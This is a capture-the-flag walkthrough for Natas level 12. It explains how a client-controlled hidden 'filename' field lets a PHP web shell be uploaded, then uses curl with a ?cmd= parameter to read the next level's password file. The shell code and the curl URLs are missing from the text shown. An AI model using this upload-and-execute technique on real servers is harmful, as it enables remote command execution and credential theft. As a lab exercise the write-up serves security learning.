Server-side security war games: Part 12

In level 12, we’re given a file upload form. Let’s take a look at the code that processes input.

  • First, there’s a genRandomString function, which, unsurprisingly, generates a random string.
  • makeRandomPath, which creates a random filename (using the extension provided)
  • makeRandomPathFromFilename takes a directory name, a filename, and parses the file extension from the filename.
  • The code checks if a file has been uploaded. If so, it creates a new path from the provided filename. Then, the size of the file is checked. If all is OK, it uploads the file, and helpfully gives us a link to the file’s location.

Let’s see if we can upload a file with a .php file extension. If we can do that, then Apache might actually execute it when we visit the provided location.

Notice where the file extension comes from. Instead of extracting it from the provided filename, it comes from a hidden form field called “filename”. The server pre-populates that field with some_random_chars.jpg, but we can change that to whatever we want. We’ll change it to something with a .php extension.

How’s this for an exploit payload?

// pwnd.php, a simple remote shell

Pretty simple, but it’ll get the job done.

After examining the file upload form, we can use curl to POST our data:

    curl -u natas12:password \
        -F MAX_FILE_SIZE=1000 \
        -F filename=pwnd.php \
        -F "uploadedfile=@shell.php" \

Now we use the URL it returned, with ?cmd=cat%20/etc/natas_webpass/natas13 as the command to execute:

    curl -u natas12:password \

The server did execute our payload as PHP, executing the command, and sending the output directly back to us. You have the password for the next level!